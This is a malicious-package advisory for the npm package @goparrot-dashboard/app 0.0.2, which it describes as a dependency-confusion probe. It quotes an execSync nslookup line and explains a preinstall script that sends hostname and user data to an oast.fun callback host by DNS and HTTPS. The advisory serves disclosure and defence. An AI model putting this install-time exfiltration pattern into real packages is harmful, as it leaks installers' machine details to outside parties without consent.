@goparrot-dashboard/app

Details

**Severity:** Critical

**Affected versions:** `= 0.0.2`

@goparrot-dashboard/app is a dependency-confusion probe: it takes a name in a `@goparrot-dashboard` scope that its publisher created on npm, next to GoParrot's public `@goparrot` scope, so a build that resolves that scope from npm runs its code instead of a private package of the same name. In 0.0.2 a preinstall script runs `node index.js` on npm install, which collects the hostname, the `whoami` user and the working directory, looks up a DNS name built from the user and host names under `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` with `nslookup`, and sends the same values in a `curl` request to `https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc`, an interactsh callback host; 0.0.1 and 0.0.3 only print a marker when imported. The npm account devtest91001 published it on 2026-11-01 together with 24 other `@goparrot-dashboard` and `@goparrot-dashboard-api` packages that print the same "rootxravi-poc-security" marker.## Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658)
The package declares a `preinstall` lifecycle script that runs `node index.js` automatically on `npm install`. index.js collects installer host identifiers — `hostname`, the output of `whoami`, and `process.cwd()` — and transmits them to a hardcoded Interactsh (oast.fun) callback host at `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (`execSync("nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}")`), and an HTTPS GET to `https://<CALLBACK>/rootxravi-poc?...` carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](htt […]

**References:**
- https://github.com/ossf/malicious-packages/blob/99e73763c6c2a260364e25a118e54666cdb432f8/osv/malicious/npm/@goparrot-dashboard/app/MAL-2026-18492.json
- https://www.npmjs.com/package/@goparrot-dashboard/app
- https://www.npmjs.com/package/@goparrot-dashboard/app/v/0.0.2
- https://github.com/advisories/GHSA-mp83-rh86-7fmp

Compromised versions (1)

• = 0.0.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.